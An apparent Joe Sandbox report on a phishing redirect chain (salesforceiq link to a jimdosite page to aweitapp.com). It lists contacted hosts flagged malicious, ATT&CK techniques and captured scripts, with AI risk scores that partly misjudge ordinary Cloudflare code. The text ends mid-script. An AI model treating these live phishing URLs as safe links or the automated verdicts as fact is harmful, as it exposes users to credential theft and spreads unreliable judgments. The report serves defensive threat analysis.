Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
jimdo-dolphin-static-assets-prod.freetls.fastly.net	151.101.2.79	true	false	high
jsdelivr.map.fastly.net	151.101.65.229	true	false	high
at.prod.jimdo.systems	54.73.104.6	true	false	high
aweitapp.com	144.76.181.177	true	false	high
code.jquery.com	151.101.66.137	true	false	high
jimdo-storage.freetls.fastly.net	151.101.2.79	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	172.217.21.36	true	false	high
apiq-apiv1-06027f9a-pb-48692342.us-west-2.elb.amazonaws.com	35.83.193.244	true	false	unknown
app.salesforceiq.com	unknown	unknown	true	unknown
cdn.jsdelivr.net	unknown	unknown	false	high
monaghans.jimdosite.com	unknown	unknown	true	unknown
fonts.jimstatic.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://aweitapp.com/zeng/advance/auth/lczfGdmMq3tll8sERUdi6qEj7hDYNS6rtU22A9WWakxfkX9hpMwdWw1Tj4myLfPIApOb0BryixZnw0TvQt40uKGbg1N7JnYu8aQER3AyeIzPKZpMonZVocguYSHR2DgXJHTOvBjFz3GcosxVBa1JFr/verify	false	unknown
https://aweitapp.com/zeng/advance/auth/	true	unknown
https://monaghans.jimdosite.com/	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.227	unknown	United States	15169	GOOGLEUS	false
172.217.19.238	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
172.217.17.46	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.18.41.38	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.208.227	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
54.73.104.6	at.prod.jimdo.systems	United States	16509	AMAZON-02US	false
151.101.2.79	jimdo-dolphin-static-assets-prod.freetls.fastly.net	United States	54113	FASTLYUS	false
144.76.181.177	aweitapp.com	Germany	24940	HETZNER-ASDE	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
142.250.181.106	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.83.193.244	apiq-apiv1-06027f9a-pb-48692342.us-west-2.elb.amazonaws.com	United States	237	MERIT-AS-14US	false
151.101.130.79	unknown	United States	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
64.233.161.84	unknown	United States	15169	GOOGLEUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
162.159.128.70	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580347
Start date and time:	2024-12-24 11:07:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.phis.win@21/34@38/237

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 64.233.161.84
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com

LLM Input / Output

Input	Output
URL: https://app.salesforceiq.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://app.salesforceiq.com
URL: https://aweitapp.com/zeng/advance/auth/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet simply reloads the current page, which is a common and benign operation. This behavior does not indicate any high-risk or malicious activities." }
window.location.reload();
URL: https://monaghans.jimdosite.com/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge-response mechanism, the overall behavior is highly suspicious and indicative of malicious intent." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8f6fc92d49c88c57',t:'MTczNTAzNDg2MS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This script appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other malicious activity. The script does not contain any high-risk indicators, and the behaviors observed are typical of a Cloudflare challenge. The script is likely legitimate and does not pose a significant security risk." }
window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support"},"translations":{"turnstile_footer_privacy":"Privacy","human_button_text":"Verify%20you%20are%20human","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","testing_only":"Testing%20only.","turnstile_feedback_description":"Send%20Feedback","turnstile_failure":"Error","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_success":"Success%21","turnstile_feedback_report":"Having%20trouble%3F","turnstile_timeout":"Timed%20out","turnstile_expired":"Expired","turnstile_overrun_description":"Stuck%20here%3F","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_refresh":"Refresh","turnstile_footer_terms":"Terms","turnstile_verifying":"Verifying...","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","time_check_cached_warning":"Your%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available"},"polyfills":{"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eW,f2,f5,f7,f8,f9,fl,fx,fD,fE,fF,fP,g0,g4,g8,g9,gd,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1596))/1+parseInt(gI(1452))/2(parseInt(gI(1700))/3)+-parseInt(gI(1564))/4(parseInt(gI(1626))/5)+-parseInt(gI(1870))/6(parseInt(gI(957))/7)+parseInt(gI(1557))/8+parseInt(gI(555))/9+-parseInt(gI(1701))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,862322),eM=this\|\|self,eN=eM[gJ(1050)],eO=function(f,gK,g,h,i,j,k,l,m){for(gK=gJ,g={},g[gK(772)]=function(n,s){return n+s},g[gK(1932)]=function(n,s){return n%s},g[gK(856)]=function(n,s){return n-s},g[gK(1645)]=function(n,s){return n&s},h=g,m,j=32,l=h[gK(772)](eM[gK(841)][gK(579)],'_')+0,l=l[gK(1146)](/./g,function(n,s,gL){gL=gK,j^=l[gL(1065)](s)}),f=eM[gK(1525)](f),k=[],i=-1;!isNaN(m=f[gK(1065)](++i));k[gK(574)](String[gK(1388)](h[gK(1932)](h[gK(856)](h[gK(1645)](m,255),j)-h[gK(1932)](i,65535)+65535,255))));return k[gK(1094)]('')},eP=function(gM,d,e,f,g){return gM=gJ,d={'IOrFa':function(h,i){return h==i},'qEQVd':function(h,i){return ih},'VfaRy':function(h,i){return i!==h},'QTzYj':gM(936),'WbUJE':function(h,i){return h-i},'MoElN':function(h,i){return i\|h},'BRdmC':function(h,i){return i&h},'DBTkJ':function(h,i){return h-i},'WzcVG':function(h,i){return h(i)},'svgfi':gM(1140),'RzAKZ':function(h,i){return h>i},'LCTMI':function(h,i){return h(i)},'xztmb':function(h,i){return h<<i},'Nbkrq':function(h,i){return h<<i},'XOFpn':function(h,i){return h==i},'dptlE':function(h,i){return i==h},'KkOqm':function(h,i){return h<i},'hgdEa':function(h,i){return h-i},'pOJLA':gM(769),'qLyLe':function(h,i){return i==h},'DAbVT':
URL: https://challenges.cloudflare.com/turnstile/v0/b/7... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. While it does not contain any clear indicators of malicious intent, the use of dynamic code execution, external data transmission, and aggressive DOM manipulation warrant further review. Additionally, the presence of obfuscated code and the use of multiple fallback domains increase the overall risk profile of the script. Overall, this script requires closer inspection to determine its true purpose and potential impact on user security and privacy." }
"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):Sr(Object(r)).forEach(function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(r,n))}),e}function jt(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0);}catch(l){u=!0,h=l}finally{try{!c&&n.return!=null&&n.return()}finally{if(u)throw h}}return o}}function zt(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function at(e,r){(r==null\|\|r>e.length)&&(r=e.length);for(var n=0,o=new Array(r);n<r;n++)o[n]=e[n];return o}function Gt(e,r){if(e){if(typeof e=="string")return at(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);if(n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"\|\|n==="Set")return Array.from(n);if(n==="Arguments"\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0]&1)throw u[1];return u[1]},trys:[],ops:[]},o,c,u,g;return g={next:h(0),throw:h(1),return:h(2)},typeof Symbol=="function"&&(g[Symbol.iterator]=function(){return this}),g;function h(p){return function(E){return l([p,E])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.value]),p[0]){case 0:case 1:u=p;break;case 4:return n.label++,{value:p[1],done:!1};case 5:n.label++,c=p[1],p=[0];continue;case 7:p=n.ops.pop(),n.trys.pop();continue;default:if(u=n.trys,!(u=u.length>0&&u[u.length-1])&&(p[0]===6\|\|p[0]===2)){n=0;continue}if(p[0]===3&&(!u\|\|p[1]>u[0]&&p[1]<u[3])){n.label=p[1];break}if(p[0]===6&&n.label<u[1]){n.label=u[1],u=p;break}if(u&&n.label<u[2]){n.label=u[2],n.ops.push(p);break}u[2]&&n.ops.pop(),n.trys.pop();continue}p=r.call(e,n)}catch(E){p=[6,E],c=0}finally{o=u=0}if(p[0]&5)throw p[1];return{value:p[0]?p[1]:void 0,done:!0}}}var Xt={code:200500,internalRepr:"iframe_load_err",public:!0,retryable:!1,description:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(j\|\|(j={}));var L;(fun
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other automated threats. The script sets up various configuration options for the Cloudflare challenge and includes functionality to handle communication between the challenge and the parent window. While the script uses some dynamic behavior, such as `postMessage()` and event listeners, it does not exhibit any clear signs of malicious intent or high-risk activities. The script seems to be a legitimate part of the Cloudflare challenge system and is likely not a security concern." }
(function(){ window._cf_chl_opt={ cvId: '3', cZone: 'challenges.cloudflare.com', cTplV: 5, chlApivId: '0', chlApiWidgetId: 'df0im', chlApiSitekey: '0x4AAAAAAA18gkuSjaHzW3C2', chlApiMode: 'managed', chlApiSize: 'normal', chlApiRcV: '61S0Aa1Ap00Ic06gfUQgp0_zrU7yOojRCA9SY0SMnZM-1735034878-1.3.1.1-zBwD6BGttUnSKOiQ6W3wjy2HLe94RB1..sqSd8EraZo', chlApiTimeoutEncountered: 0, chlApiOverrunBudgetMs:10000, chlTimeoutMs:120000, cK:[], cType: 'chl_api_m', cRay: '8f6fc996cf16c431', cH: 'izOGP20_AKFIvRVOiK5FHi3x9mNUwVIujPDaR7IW1TE-1735034878-1.1.1.1-OXBKFFBbMmgEVPE66ipyGZXn974zbHESBNFPN67ReIhTYf5WvqvzbYiWVPFQQLJ5', cFPWv: 'b', cLt: 'n', chlApiFailureFeedbackEnabled:true, chlApiLoopFeedbackEnabled:false, wOL:false, wT: 'auto', wS: 'normal', md: 'chVlSQPRlDW54DWX_yEx9oDvtWCHFVyUa1j_BKJ.jZo-1735034878-1.1.1.1-ErgMrERB0ho0yitqRPllFDXGNZWGsKxJeEAQIPKysQ0sIZK3NrDGzWrKHrOAudCaShdEH.eb3fARdWhiJZVku8ilzWizvfOxkRXdxFNVBKLFGb7xAKnbId8FaTSmyO7J4qA3l1B4XImVxqdpvZWiuRjRDq8Y6AKUJmxJKeU6vSyQWBj0CeQY2GPAI_gwjspss8.GjAmweYrW2.5D7tbtDkuuXKv_IUkhlZhtsF2xnoH73HOECVEiRjZK13v7zHaRcbBjOOJo9FGR3JUKbZpCl12zHklOtOODoeYOM_2VG6RSmmgOQ1KUPjPdpIAXnWZd_CBL5Bep9I7a6t_KliUkeGj9Qq8eDcz4CnC.smbe9P95N.52wvbvs_0m4fHjzyvmzx6gSWPYpUv8t1c6Zg9ajfnqQvU4iDl1kv9PG13reemTLUEQx0MnHc6h.fC6VugXrQOCIUFz0gL7EmgjiGytpZ6YRwvbV8IbzxuvQDfipStCm5Nrus00jTCI8Mmw072nR_atxVjcdX5E7gOX5vLmHWQR73bT1rTJztxB82G_kydVHWT.y3EIHhqdYqggyM6b82TeTyAAN8vRI6d8KsPCvl2Z3yhmX7NcZolHWI1JMOZzZB6H3RtyjRcDxl114QzRBxCI1KJxBPH3VLJi3dnl7We8W1q094FZobqg_2yqQnq10sXRp4HTNrzBzq1QRWzLlhzx73.uF2KVfQzCbimnQY4LsrAghxXjxp_FlkZT05r6CdhR.wXmfizrDSXBrrTB2cYHK8s7KskNqmPRwKsQXjaFYREbv9.OsP_cIai8aCReOHIn7ziZCzWSlEp8XBW6FsiqFQgVPXWbzCab8pW2unzB6gWmMHagAWWyVkpvhXEkSUu.lvdzrko2I_gCddvGhsqBX1mUoAv8yDzJCGl6TRpli6FFud5s4XQs3nM4vxzmTTwbs.G.VDivTvNkaQyiT1qiupyOlO0CWUE4rS_sXBY2RNLmkShVFUz9MOw8Yvb2HwE5cZrcZC3jKJUlu9P51dE2QGDNECoCUSs1JE99vCwBN3QLvTcbSuXksgD.F1OvhAU.qfHrIWc3W.jhdzrHxz4xJXn3DBiJ3CNL3zp5zWA8UoEZTcA9ynR40wrq3HS0DibH.OCuDhOLvdNc79dNzdEXNSyDvfTklL_MlL73mGrmmx71ni.oFj8WE4dF8ST0Wnyr4cRIcBbWQV5rYaH89Juuj27kjDRtfS5DSs1ddTHtaYeXgGneFlJ994YQxajEGYYJic0mTHShkavNma.Wt2vvudyQJjiZ.QLP08wUaoYarbm1UzhdTzuatKktyT4Be1hluIgVGULgemwG0Skr91L1Chh6EjgrBposYGFHfvB.EVxgGbGtYcWRxAD2rWImwaNtZP5KoR8Ebs6b14Qp5MB4deGcxbpmh9uye.oW_Q', cITimeS: '1735034878', refresh: function(){ if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: 'df0im', nextRcV: '61S0Aa1Ap00Ic06gfUQgp0_zrU7yOojRCA9SY0SMnZM-1735034878-1.3.1.1-zBwD6BGttUnSKOiQ6W3wjy2HLe94RB1..sqSd8EraZo', event: 'reloadRequest', }, ""); } } }; var handler = function(event) { var e = event.data; if (e.source && e.source === 'cloudflare-challenge' && e.event === 'meow' && e.widgetId === window._cf_chl_opt.chlApiWidgetId) { if(window['parent']){ window['parent'].postMessage({ source: 'cloudflare-challenge', widgetId: window._cf_chl_opt.chlApiWidgetId, event: 'food', seq: e.seq, }, ''); } } } window.addEventListener('message', handler); }());
URL: https://aweitapp.com/zeng/advance/auth/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of the Cloudflare Turnstile CAPTCHA system. It initializes the Turnstile widget, attaches an event listener to handle the 'turnstile:pass' event, and automatically submits the form when the CAPTCHA is successfully completed. The script does not exhibit any high-risk behaviors and is likely used for legitimate user verification purposes. Some low-risk indicators, such as the use of a legacy `XDomainRequest` API and the presence of a retry mechanism, are present, but these are common practices in CAPTCHA implementations and do not indicate malicious intent. Overall, this script is considered low risk." }
function onloadTurnstileCallback() { console.log('Turnstile script loaded'); // Initialize Turnstile after the script is loaded window.turnstile = window.turnstile \|\| {}; window.turnstile.render = window.turnstile.render \|\| {}; const turnstileElement = document.querySelector('.cf-turnstile'); if (turnstileElement) { console.log('Turnstile element found'); // Attach the event listener to the Turnstile instance turnstileElement.addEventListener('turnstile:pass', function() { console.log('Turnstile CAPTCHA passed'); document.getElementById('captcha-form').submit(); }); // Define a retry function for the fallback function checkTurnstileResponse(retryCount = 0) { if (window.turnstile && window.turnstile.getResponse) { const response = window.turnstile.getResponse(); if (response) { // Append the response to the form before submitting const form = document.getElementById('captcha-form'); const input = document.createElement('input'); input.type = 'hidden'; input.name = 'cf-turnstile-response'; input.value = response; form.appendChild(input); // Add the response input to the form // Auto-submit the form setTimeout(function() { form.submit(); }, 500); // You can adjust the delay if necessary (in milliseconds) } else if (retryCount < 10) { // Retry up to 10 times console.log('Turnstile response not yet obtained, retrying...'); setTimeout(() => checkTurnstileResponse(retryCount + 1), 3000); // Retry after 5 seconds } else { console.error('Turnstile response not obtained after several attempts'); } } else if (retryCount < 10) { // Retry if Turnstile is not ready console.log('Turnstile not ready, retrying...'); setTimeout(() => checkTurnstileResponse(retryCount + 1), 3000); // Retry after 5 seconds } else { console.error('Turnstile not initialized after several attempts'); } } // Start checking for the Turnstile response setTimeout(() => checkTurnstileResponse(), 3000); // Initial delay before starting checks } else { console.error('Turnstile element not found'); } }
URL: https://monaghans.jimdosite.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://monaghans.jimdosite.com
URL: https://aweitapp.com/zeng/advance/auth/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://aweitapp.com/zeng/advance/auth/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://jimdo-dolphin-static-assets-prod.freetls.f... Model: Joe Sandbox AI	```json { "risk_score": 2, "reasoning": "The script primarily deals with cookie management and logging, with no high-risk behaviors like dynamic code execution or data exfiltration. It uses console logging and cookie setting, which are low-risk activities. The script does not interact with external domains or perform aggressive DOM manipulation." }
/! For license information please see 9b2bbfa725f4f1d92084.js.LICENSE.txt / (()=>{var e,t,n,i,a={58695:(e,t,n)=>{"use strict";n(33893).Cookie;var i=n(76046);t.u5=i.CKies,i.CookieOptions,i.CookieType},76046:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i,a,o=n(33893);!function(e){e.NECESSARY="necessary",e.FUNCTIONAL="functional",e.PERFORMANCE="performance",e.MARKETING="marketing"}(i=t.CookieType\|\|(t.CookieType={})),function(e){e.ALLOW="allow",e.DENY="deny"}(a=t.CookieOptions\|\|(t.CookieOptions={})),t.CONFIG_EXPIRATION=31536e6;var r=function(){function e(){}return e.getExpireDate=function(){var e=new Date;return e.setTime(e.getTime()+t.CONFIG_EXPIRATION),e},e.key=function(e){return"ckies_"+e},e.use=function(e){return e===i.NECESSARY\|\|(this.isOptIn()?o.Cookie.get(this.key(e))===a.ALLOW:o.Cookie.get(this.key(e))!==a.DENY)},e.deny=function(e){this.set(e,a.DENY)},e.allow=function(e){this.set(e,a.ALLOW)},e.useNecessary=function(){return this.use(i.NECESSARY)},e.useFunctional=function(){return this.use(i.FUNCTIONAL)},e.usePerformance=function(){return this.use(i.PERFORMANCE)},e.useMarketing=function(){return this.use(i.MARKETING)},e.set=function(e,t){e!==i.NECESSARY&&o.Cookie.set(this.key(e),t,this.getExpireDate())},e.isOptIn=function(){return window.hasOwnProperty("CKIES_OPTIN")&&!0===window.CKIES_OPTIN},e}();t.CKies=r},33893:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(){}return e.get=function(e){var t=("; "+document.cookie).split("; "+e+"=");return t&&2===t.length?(t.pop()\|\|"").split(";").shift():null},e.set=function(e,t,n){document.cookie=e+"="+t+"; expires="+n.toUTCString()+"; path=/"},e}();t.Cookie=n},2604:(e,t,n)=>{"use strict";n.d(t,{UD:()=>Mo});var i={log:"log",debug:"debug",info:"info",warn:"warn",error:"error"},a=console,o={};Object.keys(i).forEach((function(e){o[e]=a[e]}));var r="Datadog Browser SDK:",s={debug:o.debug.bind(a,r),log:o.log.bind(a,r),info:o.info.bind(a,r),warn:o.warn.bind(a,r),error:o.error.bind(a,r)};function l(e,t){return function(){for(var n=[],i=0;i<arguments.length;i++)n[i]=arguments[i];try{return e.apply(void 0,n)}catch(e){s.error(t,e)}}}var c,d=!1;function u(e){d=e}function m(e,t,n){var i=n.value;n.value=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return(c?p(i):i).apply(this,e)}}function p(e){return function(){return g(e,this,arguments)}}function g(e,t,n){try{return e.apply(t,n)}catch(e){if(h(e),c)try{c(e)}catch(e){h(e)}}}function h(){for(var 